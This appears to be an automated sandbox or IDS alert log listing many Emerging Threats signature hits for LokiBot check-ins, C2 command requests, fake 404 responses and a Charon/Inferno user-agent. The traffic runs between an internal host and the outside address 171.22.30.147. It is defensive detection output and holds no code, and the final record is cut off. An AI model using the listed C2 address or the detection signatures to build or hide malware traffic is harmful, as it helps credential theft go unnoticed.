ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499342025483 01/05/23-08:53:20.381423
SID:	2025483
Source Port:	80
Destination Port:	49934
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749966802024313 01/05/23-08:53:30.946864
SID:	2024313
Source Port:	49966
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749969802024313 01/05/23-08:53:31.782144
SID:	2024313
Source Port:	49969
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750043802024313 01/05/23-08:53:52.949985
SID:	2024313
Source Port:	50043
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750072802025381 01/05/23-08:54:00.683642
SID:	2025381
Source Port:	50072
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749784802825766 01/05/23-08:52:36.673037
SID:	2825766
Source Port:	49784
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749744802025381 01/05/23-08:52:23.736699
SID:	2025381
Source Port:	49744
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749821802825766 01/05/23-08:52:46.829983
SID:	2825766
Source Port:	49821
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749952802025381 01/05/23-08:53:25.200806
SID:	2025381
Source Port:	49952
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750033802825766 01/05/23-08:53:50.199257
SID:	2825766
Source Port:	50033
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749978802021641 01/05/23-08:53:34.155329
SID:	2021641
Source Port:	49978
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749705802825766 01/05/23-08:52:09.363911
SID:	2825766
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749777802025381 01/05/23-08:52:34.550245
SID:	2025381
Source Port:	49777
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749923802024313 01/05/23-08:53:17.329996
SID:	2024313
Source Port:	49923
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749860802021641 01/05/23-08:52:58.886735
SID:	2021641
Source Port:	49860
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749966802024318 01/05/23-08:53:30.946864
SID:	2024318
Source Port:	49966
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749708802025381 01/05/23-08:52:10.789251
SID:	2025381
Source Port:	49708
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750058802025381 01/05/23-08:53:57.002594
SID:	2025381
Source Port:	50058
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749758802024318 01/05/23-08:52:27.765970
SID:	2024318
Source Port:	49758
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749926802825766 01/05/23-08:53:18.143087
SID:	2825766
Source Port:	49926
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749731802025381 01/05/23-08:52:20.113614
SID:	2025381
Source Port:	49731
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750000802825766 01/05/23-08:53:39.996140
SID:	2825766
Source Port:	50000
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749860802825766 01/05/23-08:52:58.886735
SID:	2825766
Source Port:	49860
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749718802825766 01/05/23-08:52:15.464089
SID:	2825766
Source Port:	49718
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750046802825766 01/05/23-08:53:53.748051
SID:	2825766
Source Port:	50046
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749849802025381 01/05/23-08:52:55.895226
SID:	2025381
Source Port:	49849
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749889802825766 01/05/23-08:53:06.674333
SID:	2825766
Source Port:	49889
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749936802024318 01/05/23-08:53:20.832811
SID:	2024318
Source Port:	49936
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749767802025381 01/05/23-08:52:30.299348
SID:	2025381
Source Port:	49767
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500082025483 01/05/23-08:53:42.185814
SID:	2025483
Source Port:	80
Destination Port:	50008
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749775802024313 01/05/23-08:52:32.683406
SID:	2024313
Source Port:	49775
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749988802825766 01/05/23-08:53:36.817903
SID:	2825766
Source Port:	49988
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749982802825766 01/05/23-08:53:35.215314
SID:	2825766
Source Port:	49982
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749775802024318 01/05/23-08:52:32.683406
SID:	2024318
Source Port:	49775
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749893802825766 01/05/23-08:53:07.754435
SID:	2825766
Source Port:	49893
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749870802021641 01/05/23-08:53:01.561418
SID:	2021641
Source Port:	49870
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749903802825766 01/05/23-08:53:11.877542
SID:	2825766
Source Port:	49903
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750066802024313 01/05/23-08:53:59.096230
SID:	2024313
Source Port:	50066
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750076802024318 01/05/23-08:54:01.789357
SID:	2024318
Source Port:	50076
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749742802024318 01/05/23-08:52:23.189713
SID:	2024318
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497772025483 01/05/23-08:52:34.636579
SID:	2025483
Source Port:	80
Destination Port:	49777
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749919802021641 01/05/23-08:53:16.188265
SID:	2021641
Source Port:	49919
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749742802024313 01/05/23-08:52:23.189713
SID:	2024313
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497442025483 01/05/23-08:52:23.820398
SID:	2025483
Source Port:	80
Destination Port:	49744
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749880802021641 01/05/23-08:53:04.232334
SID:	2021641
Source Port:	49880
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749975802021641 01/05/23-08:53:33.363507
SID:	2021641
Source Port:	49975
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749804802825766 01/05/23-08:52:42.167879
SID:	2825766
Source Port:	49804
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497332025483 01/05/23-08:52:20.762776
SID:	2025483
Source Port:	80
Destination Port:	49733
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749969802024318 01/05/23-08:53:31.782144
SID:	2024318
Source Port:	49969
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750076802024313 01/05/23-08:54:01.789357
SID:	2024313
Source Port:	50076
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749998802021641 01/05/23-08:53:39.461942
SID:	2021641
Source Port:	49998
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749903802021641 01/05/23-08:53:11.877542
SID:	2021641
Source Port:	49903
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749814802021641 01/05/23-08:52:44.953030
SID:	2021641
Source Port:	49814
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750068802025381 01/05/23-08:53:59.646284
SID:	2025381
Source Port:	50068
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750062802025381 01/05/23-08:53:58.073723
SID:	2025381
Source Port:	50062
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750066802024318 01/05/23-08:53:59.096230
SID:	2024318
Source Port:	50066
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498372025483 01/05/23-08:52:52.073871
SID:	2025483
Source Port:	80
Destination Port:	49837
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749909802021641 01/05/23-08:53:13.489642
SID:	2021641
Source Port:	49909
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749933802024313 01/05/23-08:53:20.043516
SID:	2024313
Source Port:	49933
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749841802024313 01/05/23-08:52:53.743125
SID:	2024313
Source Port:	49841
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749899802021641 01/05/23-08:53:10.169881
SID:	2021641
Source Port:	49899
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499902025483 01/05/23-08:53:37.463055
SID:	2025483
Source Port:	80
Destination Port:	49990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498262025483 01/05/23-08:52:48.269953
SID:	2025483
Source Port:	80
Destination Port:	49826
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749988802021641 01/05/23-08:53:36.817903
SID:	2021641
Source Port:	49988
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500192025483 01/05/23-08:53:45.393441
SID:	2025483
Source Port:	80
Destination Port:	50019
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749841802024318 01/05/23-08:52:53.743125
SID:	2024318
Source Port:	49841
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497882025483 01/05/23-08:52:37.863351
SID:	2025483
Source Port:	80
Destination Port:	49788
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749830802025381 01/05/23-08:52:49.252221
SID:	2025381
Source Port:	49830
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498092025483 01/05/23-08:52:43.678579
SID:	2025483
Source Port:	80
Destination Port:	49809
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497662025483 01/05/23-08:52:30.097797
SID:	2025483
Source Port:	80
Destination Port:	49766
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749804802021641 01/05/23-08:52:42.167879
SID:	2021641
Source Port:	49804
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749715802021641 01/05/23-08:52:14.021138
SID:	2021641
Source Port:	49715
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750078802025381 01/05/23-08:54:02.320663
SID:	2025381
Source Port:	50078
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749857802024318 01/05/23-08:52:58.054307
SID:	2024318
Source Port:	49857
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750036802825766 01/05/23-08:53:51.046851
SID:	2825766
Source Port:	50036
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749883802021641 01/05/23-08:53:05.037332
SID:	2021641
Source Port:	49883
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749857802024313 01/05/23-08:52:58.054307
SID:	2024313
Source Port:	49857
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749843802025381 01/05/23-08:52:54.266621
SID:	2025381
Source Port:	49843
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749794802021641 01/05/23-08:52:39.439392
SID:	2021641
Source Port:	49794
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749754802025381 01/05/23-08:52:26.655822
SID:	2025381
Source Port:	49754
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749972802825766 01/05/23-08:53:32.566966
SID:	2825766
Source Port:	49972
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749883802825766 01/05/23-08:53:05.037332
SID:	2825766
Source Port:	49883
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749794802825766 01/05/23-08:52:39.439392
SID:	2825766
Source Port:	49794
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749752802024318 01/05/23-08:52:26.039085
SID:	2024318
Source Port:	49752
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749752802024313 01/05/23-08:52:26.039085
SID:	2024313
Source Port:	49752
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749728802021641 01/05/23-08:52:19.268418
SID:	2021641
Source Port:	49728
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750010802021641 01/05/23-08:53:42.643021
SID:	2021641
Source Port:	50010
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750023802825766 01/05/23-08:53:47.546596
SID:	2825766
Source Port:	50023
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749867802024318 01/05/23-08:53:00.773467
SID:	2024318
Source Port:	49867
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749806802024318 01/05/23-08:52:42.779655
SID:	2024318
Source Port:	49806
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749951802025381 01/05/23-08:53:24.927407
SID:	2025381
Source Port:	49951
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749711802024313 01/05/23-08:52:12.061796
SID:	2024313
Source Port:	49711
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749772802024318 01/05/23-08:52:31.644906
SID:	2024318
Source Port:	49772
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498152025483 01/05/23-08:52:45.296277
SID:	2025483
Source Port:	80
Destination Port:	49815
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749711802024318 01/05/23-08:52:12.061796
SID:	2024318
Source Port:	49711
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749806802024313 01/05/23-08:52:42.779655
SID:	2024313
Source Port:	49806
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749864802021641 01/05/23-08:52:59.960618
SID:	2021641
Source Port:	49864
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497982025483 01/05/23-08:52:40.632649
SID:	2025483
Source Port:	80
Destination Port:	49798
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749772802024313 01/05/23-08:52:31.644906
SID:	2024313
Source Port:	49772
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749727802025381 01/05/23-08:52:18.985108
SID:	2025381
Source Port:	49727
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749788802025381 01/05/23-08:52:37.784136
SID:	2025381
